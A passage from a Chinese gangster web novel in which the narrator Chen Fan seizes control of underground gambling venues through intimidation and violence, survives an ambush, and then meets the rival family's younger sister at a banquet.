周叶青给我的不仅仅是一份简单的产业,而是一个个的烫手山芋,这些周家的老臣们,就是我的磨刀石,他们在这里经营多年,早就形成了利益链,我的到来,触碰到了他们的利益。
“这里是城西最赚钱的产业,来这里的人非富即贵!”白起在我耳边小声提醒。
我知道,如果我不能镇住他们,那以后自己会被他们啃得骨头都不剩!
周叶青给我的产业,更像是一份考卷,她是在考验我的实力!
“好啊,既然九叔有兴致,那我就玩几把!”我笑着道。
九叔盘着核桃,手指一指道:“去那边玩吧。”
109赌手还是赌命!
九叔的随手一指,就好像是在打发个要饭的,我看在眼里,记在心上。
赌场里的空气瞬间凝固,赌徒们的喧嚣声都停止了,他们纷纷转头看向了九叔,然后又看向了我,他们的眼神里带着挑衅和看好戏的意味。
白起站在我的身后,他沉默不语,我知道,他在观察我,看我是否能再这里站稳脚跟。
“既然我来到这里,就得立得住!”我在心里暗道。
我直接走向了一张玩着大小点的赌台,那个脖子上带着大粗金链子的壮汉,一脸不屑的看着我。
“这个男的叫疯狗,是九叔的人。”白起在我身后提醒道。
疯狗一边搂着女伴,一边涂抹横飞的大喊:“大!大!给老子开大!”
荷官揭开骰盅!
四五六,十五点,大。
“哈哈哈!老子就说大!通吃!”疯狗狂笑着,一把将台面上的筹码揽到自己面前。
我心里冷笑:今天,就拿他开刀了!
我走到那张赌台前,所有人的目光都跟随着我。
疯狗看了看我,他撇了撇嘴,故意对女伴说:“宝贝儿,看到没,这年头,什么阿猫阿狗都敢出来充大佬了,毛都没长齐呢!”
他身边的几个马仔跟着哄笑起来,我的余光瞄到了九叔,他脸上笑容绽放。
我从口袋里掏出一枚硬币,然后拇指一弹,硬币在空中翻滚几圈,然后啪的一声,被我按在赌桌上。
“玩一局?”我看着疯狗,语气平淡。
疯狗愣了一下,像是听到了天大的笑话,笑得前仰后合!
“你他妈跟我玩?小子,你知道这是什么地方吗?你玩得起吗?”
他抓起一把筹码,估计有十几万,扔在台上。
“跟你玩玩,猜大小,一把定输赢!你赢了,这些归你!你输了的话,就跪下喊我三声狗爷,然后滚出场子!”
周围顿时响起来一阵口哨声和起哄声,他们停下手里的牌,都聚过来看热闹!
九叔,依旧盘着核桃,不说话。
我看着那堆筹码,摇了摇头。
“怎么?怕了?”疯狗更加得意道:“怕了就赶紧滚,这里不欢迎你!”
“赌注太小。”我冷冷的看着疯狗,道:“我要赌你那只刚才指过我的右手,我赢了,手留下,我输了……”我顿了顿,道:“我的命,你拿走!”
“哗——!”
“他在说什么?他要赌命?!”
“疯子!这绝对是个疯子!”
赌场瞬间炸了锅,所有人都震惊的看着我!
疯狗脸上的笑容彻底僵住了,他没想到我会玩的这么大,一言不合就赌命,他下意识的看了看九叔。
九叔停下盘核桃的动作,他点了点头,算是同意,然后我就看到疯狗的额头上开始冒汗!
“怎么?不敢?”我笑着嘲讽道:“你刚才不是挺狂吗?你不是疯狗,你是个吉娃娃!”
“你他妈放屁!”疯狗被彻底激怒了,他猛地一拍桌子,吼道:“赌就赌!老子还怕你不成!骰盅就在这儿,怎么赌,你说!”
“简单。”我拿起那颗被按住的硬币,道:“我弹起这枚硬币,你猜落地后是正面还是反面,猜对了,我的命是你的,猜错了,你的手,归我。”
猜硬币,这比赌大小更加直接,更加纯粹,没有任何技术可言,全凭运气!但赌注,却是手和命!
疯狗额头青筋暴起,呼吸粗重,死死盯着我手中那枚普通的硬币。
整个赌场鸦雀无声,所有人都屏住了呼吸,等待着这场疯狂对决的结果。
九叔终于站了起来,沉声道:“年轻人,火气不要太盛!这里不是玩命的地方!”
我看向九叔,眼神冰冷道:“九叔,这里以后是我说了算,那规矩就得我来定,你说了不算!”
我的话毫不客气,直接将了他一军。
九叔脸色铁青,一时语塞。
“妈的!老子跟你赌!”疯狗彻底红了眼,怒吼道:“我猜正面!”
我不再多言,拇指用力,那枚硬币带着一道银光,急速旋转着飞向空中,所有人的目光都追随着那枚小小的硬币。
硬币升到最高点,然后开始下落,旋转的速度渐渐慢了下来。
就在硬币即将落到与赌台齐平的高度时,我的右手动了!
我的动作快如闪电,带出一道残影,我狠狠抓住了疯狗的手腕,然后一下子就掰断了!
“啊——!!我的手!”
只见疯狗那只原本指着我的右手,此刻以一个极其诡异的角度弯曲着!
而那枚被我抛向空中的硬币,此刻正叮的一声,落在了赌桌上,它弹跳了几下,最终静止。
是反面!
我赢了,疯狗输了,其实我根本没把希望寄托在硬币上,无论硬币是哪一面,我都会废了疯狗。
“你输了,所以,我废了你的手!”
我面色冰冷,说话的时候,我故意看向九叔,这是我送给他的一份礼物。
“啊!啊!”疯狗的女伴吓的捂住了眼睛,发出惊呼。
赌场里死一般的寂静,所有人都被我的暴力手段震慑住了,那些看不起我的人,现在噤若寒蝉!
九叔盘核桃的手僵在半空,那双浑浊的老眼里,终于露出了骇然和一丝恐惧。
我目光扫过全场,最后落在九叔的脸上,道:“现在,还有谁对我的管理权,有意见?”
“既然没有人说话,那就是没有了。”我点了点头,道:“那么,从现在开始,这个场子,我说了算。”
“九叔,你是老人,我敬你一分,场子的具体事务,你暂时还管着,但所有的账目、所有的人事任免、所有的规矩,从明天起,必须按照我的要求来。能做到吗?”
九叔脸色变幻,他犹犹豫豫道:“能……”
“肥膘,你呢?!”
我冷冷的看着肥膘和其他几个场子的负责人,他们原本是来看笑话的,可没想到看到的是我立威的一幕。
“听陈总的!”肥膘道。
“一切按陈总吩咐!”
几人忙不迭地表态,态度恭敬无比,与之前的阳奉阴违判若两人。
“很好。”我转身,不再看他们,对白起道:“白哥,我们走。”
白起跟在我的后面,出了赌场,我坐进车里。
“陈总,手段够烈!周总知道的话,应该会很满意!”白起主动说道。
我知道,我这是得到了这个高手的认可。
“城西的场子,我会都管理好,请你转告周总,让她计划好下一步……”
110年轻人,别太狂!
回到我在金鼎夜总会的办公室,已经是晚上。
我透过玻璃窗外,可以俯瞰大半个城西的夜景,这里霓虹闪烁,街灯昏黄,这里的产业已经都属于我管理。
白起没有离开,他坐在沙发上吸烟,我的桌子上放着各个场子送来的账本,这些算是周家老臣们送来的第一份投名状。
“今天的事,周总会怎么想?”我吐出一口烟雾,问道。
白起沉默了几秒,声音依旧平稳道:“周总只要结果,过程,不重要。”
“包括我用这种手段?”我转过头,问道。
“有效的手段,就是好手段。”白起的回答简洁而直接,道:“城西这些人,只认这个,你做得对。”
这算是他第一次明确表达立场,我微微点头,不再多问,有些默契,不需要说得太明白。
“接下来你打算怎么做?”白起罕见地主动问道。
我走回办公桌,弹掉烟灰,目光落在那堆账本上,道:“查账,清人,立规矩,三天之内,我要看到真实的账本,然后该换的换,该留的留。”
“三天时间太短。”白起提醒道:“九叔那些人经营多年,根深蒂固,账目肯定做了几套,你逼得太紧,他们可能会狗急跳墙。”
“我要的就是他们跳。”我冷笑道:“跳出来,才好一次性清理干净,温水煮青蛙,我没那个时间。”
“周总把城西交给我,不是让我和这些老臣来博弈的,她需要一把快刀,斩断这些利益链,然后将城西真正转化为对抗司徒家的力量,而司徒宇,应该也不会给我太多的整合时间。”
白起没有再反对,只是说:“需要我做什么?”
我掐灭烟蒂,道:“我要你手里关于九叔、肥膘这些人,所有见不得光的把柄,越脏越好。”
“明天早上给你。”白起答应得毫不犹豫。
“谢谢白哥。”我说道。
“不必。”白起转身,准备离开,忽然他回头对我说道:“对了,陈老弟,有句话周总让我转告你。”
“什么?”
“她说,城西是第一步,但也是最危险的一步。你在这里的每一个动作,司徒家都会看得清清楚楚。”
说完,白起的身影消失在门外。
我独自坐在办公室,回想这周叶青的提醒,没错,我今天在场子里闹出这么大的动静,司徒宇不会不知道。
但此刻,我无暇分心太多。
当务之急,是消化城西。
接下来的几天,我都住在了金鼎办公室,我找到了一个专门处理财务的公司,特意来查账。
果然,效果立竿见影!
肥膘的负责的金鼎夜总会,被查了个底朝天,仅仅是一天的时间,就查出了超过五百万的项目亏空,以及他私自将高价酒水以次充好,吃回扣的证据。
当我把证据摆在肥膘面前的时候,肥膘立刻吓的失去了血色。
他噗通跪在了我的面前!
“陈总,陈大哥,求你放过我,给我一跳生路吧!”肥膘哭着道:“陈总,我上有老下有小,求你放过我吧……”
“该怎么做,你自己心里有数。”我冷冷的丢下一句话。
当天下午,肥膘就主动辞职,离开了金鼎夜总会。
杀鸡儆猴的效果立竿见影,其他几个场子的负责人吓破了胆,不用我再施压,纷纷主动交出了真实的账目,并表示愿意配合我,只有九叔那边,没有任何反应。
九叔的地下赌场,是利润最丰厚的场子,他应该没少拿钱,查账公司进展缓慢,可见九叔将账目做的多到位。
于是,我决定亲自去赌场,只不过,这次我是去谈判的。
见到我来了,九叔依旧坐在他那张太师椅上,慢悠悠的盘着核桃,然后问道:“陈总这么晚来亲自查账,放心吧,该交的,我一分不会少。”
“账目的事,下面的人会核对。”我在他对面坐下,道:“我今天来,是想跟九叔谈笔生意。”
“哦?”九叔浑浊的老眼里闪过一丝精光,道:“陈总想谈什么生意?”
“城西地下赌场的生意。”我直视着他的眼睛道:“我知道,这家赌场能有今天的规模,全靠九叔你几十年积累下来的人脉和手段,换了别人,哪怕拿到手,也玩不转。”
九叔脸上露出微笑,他继续盘着核桃。
“但时代变了,九叔。”我继续说道:“过去那一套,风险越来越大。”
“那陈总的意思是?”
“转型。”我吐出两个字道:“把赌场明面上的生意,逐步转到合法的娱乐、酒店、高端会所,暗地里的部分,缩小规模,提高门槛,只做最顶层、最安全的客户,利润可能会暂时受影响,但长远来看,更安全,也更可持续。”
九叔停下了盘核桃的手,第一次认真地打量着我:“转型需要钱,需要关系,更需要时间,陈总有吗?”
“钱,我有,至于关系……”我顿了顿,道:“周家有,我也有,至于时间我们可以慢慢来,但第一步,必须现在就走。”
我拿出一份早就拟好的协议,推到九叔面前。
“赌场的管理权,我依旧交给你,但我要占百分之六十的股份,并且拥有最终决策权,所有涉及转型的规划和投资,由我负责。”
我看了看九叔,继续说道:“除了原有的管理分红,转型成功后,我会在给你百分之十的股份,九叔,你老了,是时候给自己留一份真正干净能见光的产业了。”
我说完后,将这份协议递到了九叔的面前。
这份协议,既剥夺了九叔对赌场的绝对控制权,又给他了一个安全的保障,我自己也拿到了赌场的控制权,一举两得。
九叔盯着那份协议,看了很久,灯光下,他脸上的皱纹似乎更深了。
终于,他的手停止了盘核桃的动作,他将协议扔在了一遍,淡淡的说道:“陈总,你的这份协议,我看不懂……”
“九叔,有些话不需要我说的太明显吧?封口的下场你看到了吧?”
“你在威胁我?”九叔问道。
“算不上威胁,既然周家让我过来,什么意思你也懂吧?”
吧嗒!
我打开打火机,点燃了一根烟,烟雾中,我的眼睛盯着九叔。
九叔脸色微动,有些难看,他最终还是拿笔,签下了自己的名字。
“陈总,你赢了……”九叔冷冷道:“不过年轻人,别太张狂。”
111瓮中捉陈凡?
事出反常,必有妖!
我没想到九叔能痛快的签下协议,按照我对他的设想,他肯定当场会为难我,可他并没有,在后面几天的工作上,他都配合。
九叔如果反抗,我倒是不担心,可他确实配合我,我就越是有心有余悸,他的顺从,恐怕是在酝酿更大的阴谋吧?
晚上,我在金鼎夜总会办公。
电话响起,我拿起手机一看,竟然是九叔的来电。
“陈总,晚上有空吗?关于赌场转型的事情,我想和你聊聊,毕竟我也干这行一辈子,一点经验之谈,或许对你有用。”
我放下手里的文件,眼神阴鸷,我只觉得好笑,你一个都要被我赶走的人,还和我谈什么?
“电话里说吧。”我说道。
“有些话,还是见面说吧,电话里说不清楚。”九叔淡淡说道。
“好,哪里见面?”我问道。
“就在赌场后院我的住处吧。”九叔继续说道:“这里安静,还近便。”
“好,我一定准时到。”我答应下来。
挂断电话,我想要给周叶青打过去,可想了一下,还是算了,如果我什么事情都找她,那只会让她就觉得我无能。
我知道九叔不会平白无故的见我,他一定有他的目的。
我打开电脑,插上金色U盘,周家的秘卫信息全部显示出来,我点开赌场附近,上面闪烁着几个红点,那就是秘卫所在地。
于是我一通电话打过去,接电话的是个中年男人。
“九叔晚上约我在赌场后院见面。”我说道。
“需要我带人提前布控么?”秘卫问道。
“不。”我否决了这个提议,道:“九叔不是傻子,你的人一动,他肯定能察觉到,他敢约我去他的老巢,要么有绝对把握不让我察觉异样,要么就是已经做好了撕破脸准备。”
“那陈总的意思是?”
“我一个人去。”我冷静地说,“周凯你和你的人,按兵不动,如果十五分钟后,我没有给你发信号,你就带着你的人冲进来。”
“明白了。”周凯说道:“我会做好准备的!”
晚上,我独自一人驱车来到城西赌场的后巷。
这里有一条狭窄昏暗的小巷,我走过去,推开一闪铁门,这里是通往赌场后院的入口。
门口,一个穿着黑色短褂、面无表情的中年汉子已经等在那里,是九叔的一个贴身随从,好像叫阿昌。
“陈总,九叔在里面等您。”阿昌向我打招呼,然后为我推开了门道:“我带您过去。”
我点了点头,然后跟着阿昌去找九叔,同时,我的眼睛一直在打量周围的事物,我发现,这里并没有人埋伏。
但我并没有放松警惕,走了大概两分钟,我被带到了一个中式庭院,这里亭台水榭,假山盆景,布置的倒算雅致。
走到堂屋,我看见九叔正坐在一张红木椅上,摆弄茶具。
“陈总来了,快请坐。”九叔抬起头,脸上露出和煦的笑容,这和赌场里的他判若两人。
“九叔好雅兴。”我在他对面的椅子上道。
“人老了,就喜欢这些老东西,图个清静。”九叔手法娴熟的为我泡了一杯茶,递给我道:“尝尝,今年的新茶。”
“茶是好茶。”我尝了一口道:“九叔电话里说,对转型有些想法?”
“陈总,你年轻,有冲劲,有想法,我看得出来,你想把这摊子生意洗白,做正行,长远来看,你是对的。”他语气顿了顿道:“但江湖有江湖的规矩,饭要一口一口吃,路要一步一步走,你步子迈得太大了,也太急了。”
“哦?愿闻其详。”我身体微微后靠道。
“你一来,就要查清所有的账,换掉所有的老人,断了大家几十年的财路,下面的兄弟,人心惶惶;外面的朋友,也多有不满吗,赌场这碗饭,从来不是一个人能端得稳的,你这么搞,是在拆自己的台啊。”
九叔开始诉苦,也开始找我的漏洞,他这是在给我施压。
“九叔的意思,是让我缓一缓?还是说,这转型的计划,本身就错了?”我反问道。
“计划没错,但方法错了。”九叔摇头道:“有些规矩,不能破,有些人,不能动,赌场的生意,明暗交织,盘根错节,牵一发而动全身,你想一刀切,切掉的恐怕不只是烂肉,更是命脉。”
“陈总,不如这样,转型的事,我们慢慢规划,赌场日常的管理和原有的那些业务,暂时还由我和几个老兄弟来负责,保证利润。你呢,专心去搞你那些光明正大的新项目,我们井水不犯河水,利润按新的股比分,如何?”
呵呵!
我内心冷笑一声,暗道:“果然,果然狐狸尾巴露出来了,他痛快的签字,就是提前服软,让我放松芥蒂,现在才是真实想法。”
“如果我说不呢?”我看着他,语气平淡,但眼神没有丝毫退让。
九叔脸上的最后一丝温和也消失了。他放下茶杯,发出“哒”一声轻响,在寂静的堂屋里格外清晰。
“陈总,年轻人有锐气是好事,但也要懂得审时度势,我知道你是周总派来的,所以我给周总面子,你还是自己走吧。”九叔面色阴冷道。
“我来都来了,怎么可能说走就走?”我冷冷的反问,眼神里已充满敌意。
“陈总,这里是赌场后院,是我经营了半辈子的地方,有些路,走进来容易,但想要出去,就难了,你别敬酒不吃吃罚酒!”
“我就喜欢吃罚酒!”我冷冷道。
“陈凡,你自找的!”
砰!
九叔将手中的茶杯狠狠摔在地上!
茶杯落地,堂屋通往内饰的门被推开,三个穿着黑色紧身衣,蒙着面的男人从里面闪了出门,他们成三角形将我围在中间。
他们每个人的手指尖都夹着数枚菱形飞镖,腰间鼓鼓囊囊,似乎还藏着别的武器!
“摔杯为号?”我冷笑着。
与此同时!
堂屋两侧的窗户也被推开,从里面涌进来好多人!
他们将我团团围住,算是堵住了我的后路。
“这不叫摔杯为号,这叫瓮中捉鳖!”
九叔站起身,冷冷的笑着看向我……
112擒贼先擒王!
“九叔,这就是你的真实目的吧!”我面色不惧的看着他。
“陈凡,识时务者为俊杰,你现在改变主意还来得及,你和我还可以坐下来饮茶,可如果你不答应……你今晚是走不出去的!”
九叔慢悠悠的给自己到了杯茶,他好像一副胸有成竹的样子,摆出了一副胜利者的姿态。
“九叔……”我缓缓开口,不急不慢道:“你犯了一个错误。”
“哦?什么错误?”九叔笑了笑道。
“你以为我敢一个人来,是因为我年轻气盛,不知深浅吗?”我慢慢站起身,这个动作让三个黑衣人的肌肉瞬间绷紧,手中飞镖蓄势待发。
九叔眉头微皱。
“我敢来……”我继续说道,一边活动着手腕一边道:“是因为我确信,你这后院所有的布置,所有的后手,包括你高价请来的这几个打手,都留不住我!”
我的目光再次扫过那三个黑衣人,眼神冰冷如刀。
话音落下的刹那,我没有冲向门口,也没有扑向九叔,而是一个侧滑步,躲开那三个人的飞镖!
嗡嗡——
飞镖发出声音,他们快,可我的速度更快!
我只感觉浑身气血翻涌,胸口的玉佩滚烫,气流瞬间灌入我的四肢百骸!
他们的动作,在我眼里,慢极了!
我向左滑步,腰部发力,我右脚猛蹬地面,我整个人如同出膛的炮弹,撞向黑衣人!
“砰!”
沉闷的撞击声响起!
那黑衣人显然没料到我会采用如此蛮横直接的打法,他被撞得一个踉跄,胸口气血翻涌。
但他也是狠角色,他强忍不适,左手寒光一闪,一柄匕首已经悄无声息地抹向我的颈侧!
可我早就看在眼里,我低头、侧身,匕首擦着我的头皮而过,我右手狠狠砸在他胳膊上!
“啊!”黑衣人发出一声短促的闷哼,半边身子瞬间麻痹,匕首脱手落地。
这一切发生在电光火石之间,另外两个黑衣人想要上来帮忙,但怕误伤同伴,他们的动作有些迟滞!
就是这瞬间的迟滞,让我有了机会!
我抓住面前黑衣人的衣领,将他当作盾牌,猛地抡向正前方冲来的黑衣人!
堂屋内空间狭小,这三个黑衣人被我逼的练练败退。
可堂屋外面还有打手,他们恐怕要使用车轮战!
擒贼先擒王!
我的眼睛瞄向了九叔,九叔他急忙往后躲,可却我忘记我的动作极快。
我快步上前,手指犹如钢钩,狠狠扣住了九叔的喉咙,将他整个人都提起来!
“都别动!在动一下,我弄死他!”
我扣紧九叔的喉咙,将他挡在身前,我的声音响彻在堂屋!
九叔脸色涨得发紫,双脚离地乱蹬,双手徒劳地掰着我的手指!
此刻的他,不在是那个运筹帷幄的老人!
他就是一个小鸡仔,任我宰割!
“九叔……”我凑近他耳边,道:“看来,你的规矩,你的后手,都不太管用。”
“陈凡……放了我,一切好说,咳咳……”
九叔拼命的拍着我的手,开始求饶。
我扣着他喉咙的手指微微松开一丝,让他能够喘息说话。
“陈凡,放了我,我走……咳咳!”
九叔再一次向我求饶。
我捏着九叔的脖子,拖着他,一步一步,走向堂屋的门口,然后走向那条通往小巷的铁门。
阿昌想要上前阻拦,却被九叔给呵退了!
“九叔,你不是喜欢在自己地盘谈规矩吗?”我冰冷的继续说道:“现在我看看,你到底找了多少人,花了多少钱,想要我的命!”
砰!
铁门被我一脚踹开。
我拖着面如死灰的九叔走向我停在不远处的车子。
黑色的越野车在黑暗的城市中狂奔,副驾驶上,九叔被我绑住。
“陈凡,有话好好说,不要伤了和气!”
“这里是上城,搞出人命是很麻烦的!”
“陈凡!放过我,我的钱都可以给你!”
这一路上,九叔说尽了各种好话,但我并没有理会他。
砰!我一拳打向了九叔,给他打晕,反派死于话多!
我只记得一句话,对敌人的心慈手软,就是对自己的残忍。
我将车子开进了一个废弃仓库里,这里是白起提前准备好的地方,位置足够偏僻,也足够处理私人事物。
仓库里面,亮着照明灯,四个周家秘卫围了上来。
我下车后,秘卫将九叔从车上拖了下来。
“弄醒他们。”我点燃一支烟,走到仓库中央一张锈迹斑斑的铁桌旁坐下。
一个秘卫成员提来两桶冰水,毫不留情地泼在九叔头上。
“咳咳咳!”九叔剧烈地咳嗽起来,冰水刺激着他衰老的神经。
“九叔,现在我们可以好好谈谈了,说吧,哪里找的杀手。”我弹了弹烟灰道。
九叔嘴唇哆嗦着,道:“是蝮蛇,我联系了蝮蛇,花三百万,买你的命!”
“蝮蛇?”我看向身旁秘卫。
秘卫低声解释道:“上城地下世界一个专门接脏活的组织,信誉不错,要价高,手段狠,很少失手。头目外号就叫‘蝮蛇’,行踪诡秘,真实身份不详。”
专门接脏活的杀手组织……看来九叔是铁了心要我的命,不惜动用这种层面的力量。
“九叔,按江湖规矩,你买凶杀我,我该怎么处置你?”我问道。
九叔浑身一颤,爬到我脚边,涕泪横流道:“陈爷!是我老糊涂!是我鬼迷心窍!求您饶我一命!赌场我不要了!我所有的钱,所有的产业,都给您!只求您放过我这条老狗!我……我可以帮您稳住城西的旧部,我……”
“旧部?”我打断他,冷笑一声,“你觉得,经过今晚,你在城西,还有旧部吗?”
九叔的话戛然而止,脸上血色尽褪。
是啊,他安排杀局,却反被一锅端,消息传出去,他不仅威信扫地,更会成为道上不齿的笑柄和叛徒。那些昔日的“旧部”,不落井下石就算仁义了。
“看在你年纪大,也曾经为赌场出过力的份上,”我缓缓说道:“我不要你的命。”
九叔眼中刚燃起一丝希望。
“但城西,你不能待了,上城,你也不能待了。”我的声音斩钉截铁,道:“天亮之前,带着你的直系家人,离开上城,永远别再回来,你名下所有与赌场、与城西产业相关的资产、账户,全部无条件转让。如果你同意,现在就可以走,如果不同意……”
“我同意。”他哑声说道,充满了无尽的颓丧和悔恨。
“带他去办手续,盯着他和他家人离开。”我对秘卫吩咐道。
113再遇司徒晴!
秘卫点了点头,然后带着九叔离开了仓库。
我将手里的烟头扔在地上,踩灭!
我头也不回的离开了仓库,天边的黑夜透出一抹白光,黎明即将来临。
“那个蝮蛇组织,究竟是什么来头?”
我抽着烟,一边开车一边思考,九叔和我不过才见面几天,就能找到人来杀我,他下手的速度未免太快了。
这个组织让我心生担忧,有机会,我会亲自问一问白起,他应该会清楚。
我回到豪华公寓,已经是凌晨六点多了。
刚进门,就收到周叶青打来的电话。
“九叔自愿退休,离开上城,陈凡,你办事效率真的让人惊艳,白起对你的评价非常高!”周叶青在电话里的语气很轻快,似乎她很满意这个结果。
“不过清理门户,这样下来,城西场子的负责人,都知道该怎么做了。”我脱下衣服,走进客厅,给自己倒了一杯水。
“不过,这次对我动手的人,是蝮蛇,九叔花了三百万。”我说道。
“明白,我会让白起去调查,会给你一个说法的,在上城,敢动我周叶青的人,我会让他付出代价!”
周叶青的态度着实让我有些意外,没想到这个女人,还挺江湖义气的。
“你挺特别的……”我笑了笑说道。
“哦?怎么个特别?”周叶青问道。
“我以为你的眼里只有钱,没想到,你还颇有大姐大的风范。”我说道。
“哈哈……陈凡,你可真有意思。”周叶青继续说道:“休息一下吧,过会儿带你去参加的酒会。”
“好。”
我挂上电话,简单的洗漱了一下,一晚上的打斗,身上已经一身臭汗。
当我走进卧室的时候,林薇儿忽然跳到了我的身上。
她双臂搂着我的脖子,在我耳边轻声说道:“哥哥,我想你了。”
她声音很温柔,很好听,一句想念,就说进了我的心里。
我这些天忙着商业上的事情,倒是忽略了这个小丫头。
于是我抱着她,走向了床边,道:“补偿你……”
她俏脸微红,都快滴出水来。
床,不知不觉动了起来。
一番激情过后,她在我怀里沉沉的睡去……
……
上城市中心,一座俯瞰全城的顶级私人会所。
司徒宇站在巨大的落地窗前,他背对着门口。
一个穿着黑色西装的男人,正在向司徒宇汇报工作。
“城西的变动已经确认,九叔彻底出局,他名下包括地下赌场在内的七处核心产业,已经全部被陈凡给接受,整个过程接很强势,蝮蛇的人没有对陈凡造成任何的伤害。”
“赌场和那几个场子的现金流,过去一周恢复并略有增长,新换上的管理者,都是生面孔,执行力很强,规矩也立得很严,暂时看不出破绽。”
“另外,我们安插在城西物流公司和金鼎夜总会的两个商业间谍,在过去三天内,一个因为严重违规被清退了,一个暂时失联……”
“还有,周叶青将秘卫调给陈凡使用了……”
司徒宇原本平静的表情忽然变得阴冷。
“周家这次,真是舍得下本钱,连秘卫都放出来给他用了。”
他转过身,拿起下属递过来的酒杯,坐在沙发上道:“九叔那个老废物,经营几十年,连一个星期都没撑过去。”
司徒宇的语气带着一丝冰冷的嘲讽,道:“看来,我们都小看了这位陈凡,他可不是周叶青推出来的傀儡。”
“城西那几个场子,虽然上不了台面,但每年输送到宇通科技的特别经费,可不是个小数目,现在,这笔钱,断了。”
司徒宇口中的宇通科技,是他洗钱的平台之一。
司徒宇继续说道:“陈凡接受了城西场子,更是切断了我们的财路,而且,他竟然还参与5G项目的争夺,看来周叶青是铁了心要和我们司徒家斗到底了!”
“少爷,那我们现在该如何操作?”面前的黑衣人问道。
司徒宇看着面前的张峰道:“第一,盯紧陈凡和周叶青,周叶青一向眼高于顶,她不会轻易的相信一个人。”
“是少爷。”张峰道。
“第二,5G项目的事情,可以预热了,你把我们准备好的那几家合规公司推出去,特别是恒远科技背景要做足,技术方案要漂亮。”
“好的少爷!”张峰点了点头道。
“另外,给凡颜资本找点麻烦,让他们去和陈凡接触接触!”
借刀杀人,制造麻烦,这是司徒宇的惯用手法。
“还有……”司徒宇补充道:“找机会,把我那位司徒晴的近况,特别是她对陈凡过于关注的消息,委婉地让我爸知道。”
张峰的头更低了些,道:“明白。”
“去吧。”司徒宇挥了挥手。
男人无声地退了出去,如同幽灵。
司徒宇重新走到窗前,看着脚下这片灯火辉煌的城市,他嘴角噙着一丝冰冷的笑意。
“陈凡……有意思的对手,不过,游戏才刚开始。周叶青能给你的,我都能拿走,而她给不了你的……是你活下去的机会。”
“晴儿,我会让你亲眼看着,陈凡死在这个城市,死在我的脚下……”
……
两天后,上城国际会议中心,灯火辉煌。
当我穿着一身阿玛尼高定黑色西装,与一身香槟色礼服,妆容精致气场全开的周叶青并肩走入宴会大厅时,瞬间吸引了无数道目光。
“他就是陈凡?看起来比传言中年轻,我还以为他是中年大叔呢!”
“什么?他就是那个在米其林餐厅一个人打了几十人的陈凡?看着还挺帅的啊!”
“周大小姐居然亲自带他出席这种场合,关系不一般啊……”
“听说城西最近变动很大,九叔都‘退休’了,就是这位的手笔?”
“哼,不过是周家养的一条恶犬罢了,咬人倒是挺凶。”
这些议论和目光,并没有对我造成什么影响。
“在上城,被人议论是常有的事情,我也被议论,在这里,有实力的人,才会被当做谈资。”周叶青挽着的我的胳膊,对我温柔的安慰。
“放心,我可强大的很。”
“那就好。”
周叶青从容的穿梭在人群之中,她和各行各业的精英攀谈,然后向大家介绍道:“这位是陈凡,‘凡颜资本’的创始人,也是我们5G示范区项目重要的合作伙伴,能力非常出色。”
今天,周叶青将我正式推向这个上城最顶层的社交圈,顿时,我成为了酒会的焦点!
“九叔的事,处理得很干净,白起汇报说,城西现在铁板一块,效率比之前高了三成不止。”周叶青继续道:“你够狠,也够快!”
“分内之事。”我低声回应道:“只是,动静这么大,恐怕有些人已经坐不住了。”
周叶青冷笑一声,目光扫过远处正与人谈笑风生的司徒宇道:“坐不住才好,怕的就是他们一直躲在暗处,你动了城西,等于断了司徒宇一条重要的财路,他绝不会善罢甘休,接下来,要小心他玩阴的。”
我们正低声交谈着,忽然,我的目光被宴会厅一个身影吸引住了。
她穿着一件简约却不失设计感的白色小礼服,长发微卷,披在肩头,正独自端着一杯果汁,有些出神地看着窗外璀璨的夜景。
是司徒晴!
114司徒晴吐露心意!
“陈大哥,你也在这里?!”
司徒晴看到我,脸上露出了笑容,我们的目光,穿过半个宴会厅,在空中相遇。
我抬起手,像她挥了挥手。
“陈大哥!”司徒晴冲挥挥手,她提着小礼服,看了看了周围就要向我跑来。
“小心司徒宇,他正在看着呢……”周叶青用指尖轻轻点了点我的手臂,语气平淡提醒道。
我顺着目光望去,果然看到不远处的司徒宇,他虽然依旧在与旁人交谈,但眼角的余光,分明看向我和司徒晴。
我转过身,和周叶青继续攀谈,我故意没有在和司徒晴交流。
司徒宇脸上露出一个满意的笑容。
酒会继续,光影交错,言笑晏晏。但我清楚,平静的水面下,暗流更加汹涌了。
酒会进行到一半,气氛愈加热烈。周叶青被一位德高望重的老企业家拉住攀谈。
我走向相对安静的自助餐食区,想取杯清水缓一缓酒意。
我刚拿起水杯,一个轻柔却带着明显欣喜的声音就在身后响起:
“陈大哥!”
我转过身,司徒晴不知何时也来到了这边,手里端着一小碟精致的甜点,脸上带着掩饰不住的笑容,眼睛亮晶晶地看着我。
“晴儿,你怎么来了?”我笑着道。
“你……你之前怎么都不回我信息?我发了好几次……”司徒晴有些嗔怪道。
“最近事情比较多,抱歉。”我说道。
“我知道!”司徒晴立刻接口,语气变得急切,道:“我听说城西那边……很不太平,九叔他们……你没受伤吧?”
她上下打量着我,眼神里的担忧几乎要满溢出来。
“我没事。”我简短地回答,道:“你哥让你来参加酒会?”
“嗯,哥哥说让我多出来见见世面。”司徒晴有些无奈地撇撇嘴,随即又像是想到了什么,眼睛重新亮起,道:“这里好闷,不如我们去那边的小花园透透气?我看过了,没什么人,很安静的!”
她指向宴会厅侧门通往的一个室内花园入口,眼神里充满了期待,我知道,她是不想被司徒宇监督。
我下意识地用目光搜寻司徒宇的身影,司徒宇也正看向我们。
拒绝她吗?看着她那双盛满期待的眼睛,我不忍心拒绝,而且,周叶青的离间计也需要推进……
“好。”我点了点头。
司徒晴的脸上瞬间绽开一个灿烂至极的笑容,她雀跃地走在我侧前方半步,然后领我穿过侧门,走进了那片被精心打理的室内花园。
我们沿着鹅卵石小径慢慢走着,司徒晴轻轻吸了口气,感叹道:“还是这里舒服,外面那些人,看着都累。”
“习惯了就好。”我随口应道。
“我才不要习惯。”司徒晴停下脚步,转过身,面对着我,神情道:“陈大哥,我知道哥哥他们好像对你有些看法,最近家里气氛也怪怪的,但我觉得你不是他们说的那种人。”
“哦?他们说我是什么人?”我饶有兴致地问。
“他们……”司徒晴咬了咬嘴唇,似乎有些难以启齿,但最终还是小声说道:“他们说你是靠着周家,是周叶青手里的刀,为了上位不择手段,在城西搞风搞雨……还说,你接近我,可能也是别有用心。”
她说这话时,眼睛一直紧紧盯着我,似乎在观察我的反应。
我看着她,没有立刻否认,也没有承认,只是问:“那你觉得呢?”
“我……”司徒晴被我问得一愣,随即有些着急的说道:“我觉得你不是!虽然你有时候看起来冷冰冰的,但我觉得你不是坏人!”
